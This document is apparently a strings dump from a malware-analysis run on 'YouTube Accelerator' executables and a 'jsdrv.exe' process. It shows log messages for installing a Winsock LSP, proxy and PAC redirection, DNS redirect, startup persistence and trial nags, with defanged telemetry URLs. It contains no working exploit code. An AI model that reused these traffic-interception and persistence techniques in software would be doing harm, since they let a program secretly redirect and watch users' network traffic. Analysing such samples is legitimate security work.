[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - Wait: %d

[ProxySettingsConfiguration::SetProxyConfigScript] ___Error SetProxyConfigScript - ProcessCommand: %d

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Original

SOFTWARE\GOOBZO\YouTube Accelerator\%s\Current

M[CRegistrationMgr::IsTrialVersion]%d

exp=%d

ins=%d

Dur=%d

[CRegistrationMgr::SetTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::UpdateTrialParams] ___Error XMLNode::emptyNode %s

Trial.dat

Trial_QA.xml

[CRegistrationMgr::StartTrial] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBoolNagFlagTrialExpAcceleration] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::HandleTrialScenario] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode .%d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetBuyNowDailyString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetRotatedString] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyString] ___Error XMLNode::emptyNode %s

(%d days left)

DAYURL

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetDailyUrl]

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialDailyUrl] ___Error XMLNode::emptyNode %s

[CRegistrationMgr::GetContinueTrialDailyUrl]

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %d

[CRegistrationMgr::GetContinueTrialBtnTxt] ___Error XMLNode::emptyNode %s

xmldb.dll

config.xml

RtmpListenPort

MiTunes.exe

[CSA_GUIApp::RegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::UnRegisterCommTestEvents] ___Error m_pPipeEventThread == NULL

[CSA_GUIApp::IsTrial] m_bIsTrial = %d

User%d

[CSA_GUIApp::GoToURL] ___Error FindExecutable failed url = %s

[CSA_GUIApp::GoToURL] ___Error The specified file was not found

YouTubeAccelerator.exe

[CSA_GUIApp::IsTestingSucceeded] InstalledLspVersion: %s, SBLSP: %s

ytalsp.dll

[CSA_GUIApp::UpdateRunOnStartup] Creating Run on startup registry key for %s

[CSA_GUIApp::RunUnwise] ___Error WaitForSingleObject: %d

[CSA_GUIApp::RunUnwise] ___Error CreateProcess: %d, Command: %s

unwise.exe

[CSA_GUIApp::GetTempDir] ___Error GetTempPath: %d

[CSA_GUIApp::GetTempDir] Folder: %s

[CSA_GUIApp::RunFromTemp] ___Error CreateProcess: %d, Command: %s

%s %s

[CSA_GUIApp::RunFromTemp] ___Error Copy: %s - to Temp: %s

YoutubeAcceleratorService.exe

D[CSA_GUIApp::SetTestingSucceeded] InstalledLspVersion: %s

[CSA_GUIApp::UpdateResourceDll] ___Error Removing %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error Renaming %s to %s. Err = %d

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x (Temp)

[CSA_GUIApp::UpdateResourceDll] VAResTemp.dll file Path: %s

Res\VARes_%d\

[CSA_GUIApp::UpdateResourceDll] ___Error ExtractDataFromResFile: %x

[CSA_GUIApp::UpdateResourceDll] ___Error CreateDirectoryRecursivlyFromPath: %x

[CSA_GUIApp::UpdateResourceDll] Resources Folder: %s

VARes_%d\

[CSA_GUIApp::UpdateResourceDll] DllVer: %d, RegVer: %d, TmpVer: %d

ResOld.dll

ResTemp.dll

[CSA_GUIApp::UpdateResourceDll] ___Error GetPath: %x

[CSA_GUIApp::RunFinishHtml] GotoURL status is %d

[CSA_GUIApp::RunFinishHtml] Finish URL is : %s

hXXp://@BRAND_ID@.@[email protected]/finishinstall?

hXXp://rep.@[email protected]/app/ping.ashx

engine.dll

[CSA_GUIApp::FormatURL] URL: %s

&TrialDaysLeft=%d

?V=%s&pr=%d&Beta=%d&Emode=%d

[CSA_GUIApp::InitInstance] __Error m_pPipeEventThread = NULL

[CSA_GUIApp::InitInstance] Uninstall URL - GotoURL status is %d

[CSA_GUIApp::InitInstance] ___Error to load VideoAccelerator - CreateDialog Failed: %d

VA???.lng

[CSA_GUIDlg::OnShowTrayIcon] - m_TrayIcon.ShowIcon() Failed !!!

[CSA_GUIDlg::SetOpenMainWindowDisableFlag]bVal = %d

%s&OEM=%s

hXXp://@BRAND_ID@.@[email protected]/support/help

VIDEO_ACCELERATOR.MHT

[CSA_GUIDlg::ShowMenora] ___Error No lending url

[CSA_GUIDlg::OnMenoraOpen] ___Error url empty

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned after Timeout, error %d

[CSA_GUIDlg::RunLspInstaller] ___Error - LSP installer returned failure %d, error %d

[CSA_GUIDlg::RunLspInstaller] Wait for LSP Installer process to complete for %d milsecs...

[CSA_GUIDlg::RunLspInstaller] Executing LSP Installer process: %s

-b -d %s

lspinst2.exe

lspinst.exe

CSABaseWebWindow::OnBeginDrag

CSABaseWebWindow::OnStopDrag

ECSABaseWebWindow::Navigate : url = %s

CSABaseWebWindow::OnNavigateError : url = %s

CSABaseWebWindow::OnNavigateComplete : url = %s

CSABaseWebWindow::OnDocumentComplete : url = %s

CSANotifierWebWindow::SetMetaData GOT 'height'

CSANotifierWebWindow::SetMetaData GOT 'width'

[CSANotifierWebWindow::ReplaceLNGTags] replacing "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error no "%s" in String table, putting "%s"

[CSANotifierWebWindow::ReplaceLNGTags] ALT case replacing <STRING_GOES_HERE> at "%s" with "%s" = "%s" from String table

[CSANotifierWebWindow::ReplaceLNGTags] ___Error ALT case no "%s" in String table, putting "%s" instead of <STRING_GOES_HERE> at "%s"

[CSANotifierWebWindow::ReplaceLNGTags] length %d

[CSANotifierWebWindow::ReplaceLNGTags]

[CSANotifierMgr::GetAvaliableNotifier] Message %d is already displayed

ItweetMessage.mht

SilentTestFailed.mht

SilentTestSucceeded.mht

ITUNESMESSAGE.MHT

hXXp://VVV.fileratings.com/video/@PRODUCT_DOMAIN@/12/buyiTunes.asp

OldDriver.mht

Activation_Expired.mht

noupdates.mht

exiting.mht

va_on.mht

va_off.mht

dl_update.mht

update.mht

HD_DISABLED.MHT

ACCELERATION_NOT_SUPPORTED.MHT

now_accelerating.mht

ACCELERATION_NOT_SUPPORTED_CHECKBOX

ACCELERATION_NOT_SUPPORTED_BUTTON_OK

%d days left.

%d Days left

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] SetSecurityDescriptorDacl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeSecurityDescriptor failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the trusted owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the Everyone group. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AddAccessAllowedAce failed for the queue owner. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] InitializeAcl failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetLogonSID failed. Error code: 0x%X

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] AllocateAndInitializeSid failed. GetLastError returned: %d

[CImpersonateSecurityDescriptor::CreateSecurityDescriptor] GetTokenInformation failed. GetLastError returned: %d

[CSerializable::GetField] ___Error - Vector size missmatch. Code: %d

F[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

%s\%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

I[CSettingDlg::LoadEngine] ___Error to Create IHttpEngineConfiguration

[CSettingDlg::OnInitDialog] ___Error to Create IHttpEngineConfiguration

WININET.DLL

Gkernel32.dll

d/d/%d d:d:d::d

[CUtils::GoToURL] ___Error WinExec url = %s, defBrowser = %s, err = %d

"%s" "%s"

"%s" %s

[CVA_Alert::OnDeserialize] ___Error get m_LandingUrl

[CVA_Alert::OnDeserialize] ___Error get m_URL

[ACCELINFO::OnDeserialize] ___Error get URL

SOFTWARE\Microsoft\Windows\CurrentVersion\Run

zvl=%s&

%s?e=%s

SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings

Hcomctl32.dll

Hcomdlg32.dll

Hshell32.dll

accKeyboardShortcut

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

commctrl_DragListMsg

Hf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

ntdll.dll

%s%s.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

mfcm90u.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

Jf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

J.INI

J.com

DLG_%u

PID%u

les (x86)\YouTube Accelerator\YouTubeAccelerator.exe

Important:

Port:

Contact Our Support

See supported video sites

Join Today!

2.0.5.3

Watch YouTube and other web videos without pauses.

Twitter login

Password:

Enter your username and password for Twitter:

<div class="videoitem"><div class="videoimage"><div border" id="%s"><a href="%s" onmouseover="setBorder('%s','1');" onmouseout="setBorder('%s','0');"><img src="images/video/3.jpg" name="moreimg" width="68" /></a></div></div><div class="videotxt">%s</div>

Communications test failed.JWe believe it might be a Security / Firewall issue.

For additional information, contact our support at:

hXXp://@[email protected]/support/

hXXp://@[email protected]/support/VWe believe the problem might be caused by Karspersky antivirus.

hXXp://@[email protected]/support/

Enter port,Please enter a valid Port number (0 - 65536)UPlease enter a valid Domain name or IP address

(e.g. sample.proxy.com, 192.168.1.100)

@BRAND@ - Settings error!3{lX-X-x-XX-XXXXXX}!Get the premium video experience.!The premium web video experience.6Enjoy HD videos and iTunes purchases without the wait.P@BRAND@ Premium

lets you enjoy HD videos and iTunes downloads without the wait.XPlease Approve @BRAND@ in your Firewall and/or Antivirus to complete the Installation...

@BRAND@ECheck out the video %s from %s I'm watching it smoothly with @[email protected] out the video from %s I'm watching it smoothly with @BRAND@.!You are using %s - Translated by:

@BRAND@ is accelerating...#Restart required to change languageeYou have selected %s as VA's interface language.

@BRAND@ Trial version!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

!The ultimate web video experienceN@BRAND@ lets you enjoy smooth web videos and iTunes download without the wait.

Normal video acceleration\Watch smooth web videos with bit rates up to 100 KBps without buffering & interruptions.

HD Video AccelerationNStop waiting while you watch HD web videos with high bit rates above 200 KBps.

Supported Video Sites

Every web video just got better

All Files (*.*)

No error message is available.#Attempted an unsupported operation.$A required resource was unavailable.

Command failed.)Insufficient memory to perform operation.PSystem registry entries have been removed and the INI file (if any) was deleted.BNot all of the system registry entries (or INI file) were removed.FThis program requires the file %s, which was not found on this system.tThis program is linked to the missing export %s in the file %s. This machine may have an incompatible version of %s.

Destination disk drive is full.5Unable to read from %1, it is opened by someone else.AUnable to write to %1, it is read-only or opened by someone else.1Encountered an unexpected error while reading %1.1Encountered an unexpected error while writing %1.

#Unable to load mail system support.

3.3.8.9

jsdrv.exe_3080:

.text

`.rdata

@.data

.rsrc

@.reloc

HTTPt

t.Ph|;

FV<.tN<[tJ<\tF<*tB<|t><^t:<$t6

QSSSSh`

u.PShXw

Tu8%XuJ@Uu

Tu.AUub

<d/d/%d d:d:d::d 0x%X>

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegNotifyChangeKeyValue

[SbTracer::RegisterOnConfigurationChange] ___Error: %d, RegOpenKeyEx

[SbTracer::RecursiveCreateDirectory] Directory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - CreateDirectory: %s

[SbTracer::RecursiveCreateDirectory] ___Error - Directory: %s

[SbTracer::FormatFilePath] Log Path: %s

[SbTracer::FormatFilePath] ___Error - RecursiveCreateDirectory: %s

[SbTracer::FormatFilePath] ___Warning - No Log folder: %s

[SbTracer::FormatFilePath] ___Error - GetModuleFileName: %s

\StringFileInfo\x\%s

[SbTracer::ReadConfiguration] Trace Max Size: %d

[SbTracer::ReadConfiguration] Trace Time Stamp: %d

[SbTracer::ReadConfiguration] Trace Time Limit: %d

[SbTracer::ReadConfiguration] Trace Backup: %d

[SbTracer::ReadConfiguration] Trace Destination: %d

[SbTracer::ReadConfiguration] Trace Level: %d

[SbTracer::BackupTraceFile] %s

[SbTracer::OpenTraceFile] Done %s

[SbTracer::OpenTraceFile] ___Error: %d, File: %s

[SbTracer::WriteTraceLine] !!! OVERFLOW or FORMAT ERROR !!! - (%d) %s

Windows CE

Windows 7

Windows Vista

Windows 2003 Server

Windows XP

Windows 2000

Windows NT

Windows Me

Windows 98

Windows 95

[CLoader::DisableDnsController] ___Error Disabling Dns Redirect Controller. LE: %X

[CLoader::ProcessTimeoutEvent] ___Warning: Unsupported event (%d)

[CLoader::AddRef] RefCount: %d

[CLoader::Release] RefCount: %d

[CLoader::UpdateVersionStatus] Status: %d (%d)

[CLoader::UnLoadRedirector] ___Error to Stop the Redirect Controller. LE: %d

[CLoader::GetMode] Engine Mode = %d

- m_ImpersonateDone = %d, m_DoLoadModules = %d m_UIRunning = %d

spCmd

[CLoader::DoStop] ___Error UnLoadMonitor - %X

[CLoader::DoStop] ___Error UnLoadRedirector - %X

[CLoader::DoStop] ___Error UnLoadProxy - %X

[CLoader::Load] Added %d m_nLSPConfChangedEvent

[CLoader::IsToLoadProxyModule] ___Error to Create IHttpEngineConfiguration

[CLoader::IsToLoadProxyModule] FALSE - Partner: %s

[CLoader::IsToLoadProxyModule] OEM: %s, Partner: %s

Monitor.dll

%d.%d.%d.%d

[CLoader::LoadProxy] ___Error: Failed To Create the proxy, CreateProxy: %d

[CLoader::RunLspInstaller] ___Error CreateProcess: %d

[CLoader::RunLspInstaller] CreateProcess: %s

\\.\pipe\VAPIPESERVERENG

[CLoader::RunPartnerCommTest] ___Error to create CommTest process. LE: %d

CommTest.exe

[CLoader::FixLSPStatus] Not going to fix LSP, it has been called %d times

[CLoader::CheckOurLSPStatus] Done.

[CLoader::CheckOurLSPStatus] ___Error CreateProcess: %d

[CLoader::CheckOurLSPStatus] CreateProcess: %s

[CLoader::CheckOurLSPStatus]

EmptyKey

[CLoader::InitCore] ___Warning - failed Open Current User Key - ProductInfo.m_hKeyRoot = ACCELERATOR_GLOBAL_KEY

3.3.9.3

[CLoader::InstallLsp] Done - %s

[CLoader::InstallLsp] Running second LSP installation method - %s

2.exe

[CLoader::SetLastTestSucceeded] InstalledLspVersion: %s

[CLoader::UnInstallLSP] Done - %s

Name: %s

Path: %s

Version: %s

%s_%d_%s.log

[CLoader::LoadModules] Already loaded, Status = %d, return...

[CLoader::ProcessEvent] ___Warning: Unsupported event (%d)

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - Added %d

[CLoader::ProcessEvent] m_nLSPConfChangedEvent - LSP configuration has changed, event %d

[CLoader::ProcessEvent] m_UninstallLspProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Added %d m_nLSPConfChangedEvent

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - GetExitCodeProcess() returned: %d

[CLoader::ProcessEvent] m_nLspKeepAliveProcess - Check if our LSP installed DONE, event %d

[CLoader::ProcessEvent] m_InstallLspProcess - GetExitCodeProcess returned: %d

[CLoader::ProcessEvent] m_CommTestSucceeded - Added %d m_nLSPConfChangedEvent

%sLow\%s\

%C:\Users\Public\Documents\%s\%s\

%s\%s\%s\

%s\Application Data\%s\%s\

jsdrv.exe

config.xml

[CImpersonateThread::NotifyImpersonateLogon] Time: %d

[CImpersonateThread::NotifyImpersonateLogoff] Time: %d

[CImpersonateThread::ProcessEvent] CreateProcess - CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::CreateProcess] CmdLine: %s, AppName: %s, ShowCmd: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(TRUE), LE: %d

[CImpersonateThread::Start ] ___Error SetConsoleCtrlHandler(FALSE) failed: %d

\\.\pipe\VAPIPESERVERUI

[CBaseProviderProc::WSPAccept] ___Warning m_ProcTable.lpWSPAccept is not initialized, calling WSAAccept

[CBaseProviderProc::WSPAddressToString] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSAAddressToString

[CBaseProviderProc::WSPAsyncSelect] ___Warning m_ProcTable.WSPAsyncSelect is not initialized, calling WSAAsyncSelect

[CBaseProviderProc::WSPBind] ___Warning m_ProcTable.lpWSPBind is not initialized, calling bind

[CBaseProviderProc::WSPCancelBlockingCall] ___Warning m_ProcTable.lpWSPCancelBlockingCall is not initialized, calling WSACancelBlockingCall

[CBaseProviderProc::WSPCloseSocket] ___Warning m_ProcTable.lpWSPCloseSocket is not initialized, calling closesocket

[CBaseProviderProc::WSPConnect] ___Warning m_ProcTable.lpWSPConnect is not initialized, calling WSAConnect

[CBaseProviderProc::WSPDuplicateSocket] ___Warning m_ProcTable.lpWSPDuplicateSocket is not initialized, calling WSADuplicateSocketW

[CBaseProviderProc::WSPEnumNetworkEvents] ___Warning m_ProcTable.lpWSPEnumNetworkEvents is not initialized, calling WSAEnumNetworkEvents

[CBaseProviderProc::WSPEventSelect] ___Warning m_ProcTable.lpWSPEventSelect is not initialized, calling WSAEventSelect

[CBaseProviderProc::WSPGetOverlappedResult] ___Warning m_ProcTable.lpWSPGetOverlappedResult is not initialized, calling WSAGetOverlappedResult

[CBaseProviderProc::WSPGetPeerName] ___Warning m_ProcTable.lpWSPGetPeerName is not initialized, calling getpeername

[CBaseProviderProc::WSPGetSockName] ___Warning m_ProcTable.lpWSPGetSockName is not initialized, calling getsockname

[CBaseProviderProc::WSPGetSockOpt] ___Warning m_ProcTable.lpWSPGetSockOpt is not initialized, calling getsockopt

[CBaseProviderProc::WSPGetQOSByName] ___Warning m_ProcTable.lpWSPGetQOSByName is not initialized, calling WSAGetQOSByName

[CBaseProviderProc::WSPIoctl] ___Warning m_ProcTable.lpWSPIoctl is not initialized, calling WSAIoctl

[CBaseProviderProc::WSPJoinLeaf] ___Warning m_ProcTable.lpWSPJoinLeaf is not initialized, calling WSAJoinLeaf

[CBaseProviderProc::WSPJoinLeaf]

[CBaseProviderProc::WSPListen] ___Warning m_ProcTable.lpWSPListen is not initialized, calling listen

[CBaseProviderProc::WSPRecv] ___Warning m_ProcTable.lpWSPRecv is not initialized, calling WSARecv

[CBaseProviderProc::WSPRecvDisconnect] ___Warning m_ProcTable.lpWSPRecvDisconnect is not initialized, calling WSARecvDisconnect

[CBaseProviderProc::WSPRecvFrom] ___Warning m_ProcTable.lpWSPRecvFrom is not initialized, calling WSARecvFrom

[CBaseProviderProc::WSPSelect] ___Warning m_ProcTable.lpWSPSelect is not initialized, calling select

[CBaseProviderProc::WSPSend] ___Warning m_ProcTable.lpWSPSend is not initialized, calling WSASend

[CBaseProviderProc::WSPSendDisconnect] ___Warning m_ProcTable.lpWSPSendDisconnect is not initialized, calling WSASendDisconnect

[CBaseProviderProc::WSPSendTo] ___Warning m_ProcTable.lpWSPAddressToString is not initialized, calling WSASendTo

[CBaseProviderProc::WSPSetSockOpt] ___Warning m_ProcTable.lpWSPSetSockOpt is not initialized, calling setsockopt

[CBaseProviderProc::WSPShutdown] ___Warning m_ProcTable.lpWSPShutdown is not initialized, calling shutdown

[CBaseProviderProc::WSPStringToAddress] ___Warning m_ProcTable.lpWSPStringToAddress is not initialized, calling WSAStringToAddress

[CBaseProviderProc::WSPSocket] ___Warning m_ProcTable.lpWSPSocket is not initialized, calling socket

[CBaseProviderProc::WSPSocket] ___Error could not find protocol for af %d, type %d, protocol %d

[CBaseProviderProc::WSPSocket] ___Error not appropriate af %d

[CBaseProviderProc::WSPCleanup] ___Warning m_ProcTable.lpWSPCleanup is not initialized, calling WSACleanup

[CRedirectController::SetPassThrough]

[CRedirectController::GetTestingMode] %d

[CRedirectController::IsModeSupported] ___Error to Create IHttpEngineConfiguration

[CRedirectController::CRedirectController] ___Error to Create IHttpEngineConfiguration

IsOurPacFileExist: %s

[CRedirectController::IsOurPacFileExist] Existing Pac: %s - Applyed Pac: %s

showitunesMsg

DontShowAccelerationNotSupported

lastiTunesMsgTime

ManualProxyPort

[CConfig::IsLastTestingSucceeded] REGISTRY - Status = %d

[CConfig::IsLastTestingSucceeded] XML - Status = %d

[CConfig::SetLastTestingSucceeded] ___Error LastTestingSucceeded = %d (XML)

[CConfig::SetLastTestingSucceeded] LastTestingSucceeded = %d (XML)

[CConfig::IsTestingMode] ___Error TestingMode = %d (XML)

[CConfig::IsTestingMode] TestingMode = %d (XML)

[CConfig::SetTestingMode] ___Error TestingMode = %d (XML)

[CConfig::SetTestingMode] TestingMode = %d (XML)

[CConfig::GetBrandPort] BrandPort = %d

br_port

CConfig::SetCurrentUserKey

ReportCommFailed

[CConfig::SetSendLogFiles] Status = %d

[CConfig::SetSendInstLogFileOnly] Status = %d

[CConfig::GetCurrentUserKey] ___Error spIImpersonateThread == NULL

[CConfig::SetTracerOn] ___Error GetRegistryKeys

[CConfig::UpdateTracerFromReg] ___Error GetRegistryKeys

[CConfig::SetTracer] Status = %d

[CConfig::SetBackup] ___Error GetRegistryKeys

[CConfig::SetBackup] Status = %d

vaproxy.pac

[CConfig::AddToLearningDomainsList] ___Error adding the domain %s to the learning domains list

[CConfig::AddToLearningDomainsList] The domain %s was added to the learning domains list

[CConfig::IsXBoxMode] Status = %d

[CEventsThread::SetTimeoutResolution] From: %d -> To: %d

[CEventsThread::WaitForMultipleEvents] Released on Signaled: %d ms

[CEventsThread::WaitForMultipleEvents] Released on Timeout: %d ms

[CEventsThread::WaitForMultipleEvents] ___Error MsgWaitForMultipleObjectsEx. LE: %d

[CEventsThread::WaitForMultipleEvents] TID=%X

[CEventsThread::CreateNamedEvent] OpenEvent. LE: %d

[CEventsThread::CreateNamedEvent] ___Error OpenEvent: LE: %d

[CEventsThread::CreateNamedEvent] ___Error CreateEvent. LE: %d. Try OpenEvent...

[CEventsThread::Start - Leave] TID=%X

[CEventsThread::Start] ___Error - Failed to create thread: %X

[CEventsThread::Stop - Leave] TID=%X

[CEventsThread::Stop - Enter] TID=%X

[CEventsThread::CallProcessTimeoutRoutines] ___Error Invalid Event Entry: %d, Timeout: %d

[CEventsThread::AlertEvent] ___Error SetEvent failed: %d

[CEventsThread::AlertEvent] ___Error Invalid Event Entry: %d

[CEventsThread::AlertEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] ___Error Invalid Event Entry: %d

[CEventsThread::SetGlobalEvent] ___Error Not found Event: %d

[CEventsThread::SetGlobalEvent] Event: %d

[CEventsThread::ResetEvent] ___Error ResetEvent failed: %d

[CEventsThread::ResetEvent] ___Error Invalid Event Entry: %d

[CEventsThread::ResetEvent] ___Error Not found Event: %d

[CEventsThread::ResetEvent] Event: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Entry: %d

[CEventsThread::CallProcessEventRoutines] ___Error Invalid Event Index: %d

[CEventsThread::RemoveEvent] ___Error CloseHandle failed: %d

[CEventsThread::RemoveEvent] ___Error Invalid Event Entry: %d

[CEventsThread::RemoveEvent] ___Error Not found Event: %d

[CEventsThread::RemoveEvent] Event: %d

[CEventsThread::WaitEvent] TID=%X

[CEventsThread::Cleanup] ___Error CloseHandle(0x%p) failed: %d

[CEventsThread::Cleanup] Closing Handle: %d

[CEventsThread::Work] TID=%X - Exit !!!

[CEventsThread::Work] WAIT_ABANDONED - %d

[CEventsThread::Work] TID=%X

[CEventsThread::AddEvent] ___Warning event handle already exists %d

[CEventsThread::AddEvent] ___Error invalid event handle %d

[CDnsController::SetRedirectFilter] Domain: %s

[CServiceController::ChangeStartType] ___Error ChangeServiceConfig failed: %d

[CServiceController::ChangeStartType] ___Error OpenService: %s, failed: %d

[CServiceController::ChangeStartType] ___Error OpenSCManager failed: %d

[CServiceController::ChangeStartType] Name: %s

[CServiceController::ExecuteServer] Exit

[CServiceController::ExecuteServer] Enter

[CServiceController::ServiceMain] ___Error SetServiceStatus Failed: %d

[CServiceController::ServiceMain] ___Error RegisterServiceCtrlHandler Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error Exception StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] ___Error StartServiceCtrlDispatcher Failed: %d

[CServiceController::UpdateServiceDespatchTable] Enter, %s

[CServiceController::Install] ___Error OpenService Failed: %d

[CServiceController::Install] ___Error QueryServiceStatus Failed: %d

[CServiceController::Install] ___Error CreateService Failed: %d

[CServiceController::Install] ___Error OpenSCManager Failed: %d

%s -%s -%s

[CServiceController::Install] ___Error GetModuleFileName Failed: %d

[CServiceController::Remove] ___Error OpenService Failed: %d

[CServiceController::Remove] ___Error OpenSCManager Failed: %d

[CServiceController::GetStatus] ___Error QueryServiceStatus Failed: %d

[CServiceController::GetStatus] ___Error OpenService Failed: %d

[CServiceController::GetStatus] ___Error OpenSCManager Failed: %d

[CServiceController::Start] The service %s was started

[CServiceController::Start] ___Error StartService Failed: %d

[CServiceController::Start] ___Error OpenService Failed: %d

[CServiceController::Start] ___Error OpenSCManager Failed: %d

[CServiceController::Start] Going to start the service %s

[CServiceController::Stop] The service %s was stopped

JsDriverService.exe

[CServiceController::Stop] ___Error ControlService Failed: %d

[CServiceController::Stop] ___Error OpenService Failed: %d

[CServiceController::Stop] Going to stop the service %s

[CServiceController::Stop] ___Error SetServiceStatus Failed: %d

[CServiceController::GetArgsFromCmd] Exit

[CServiceController::GetArgsFromCmd] m_bSCMCmd = TRUE

[CServiceController::GetArgsFromCmd] Enter

[CServiceController::RunCommand] Args: %s

[CMutexLock::Open] ___Error %d, OpenMutex: %s

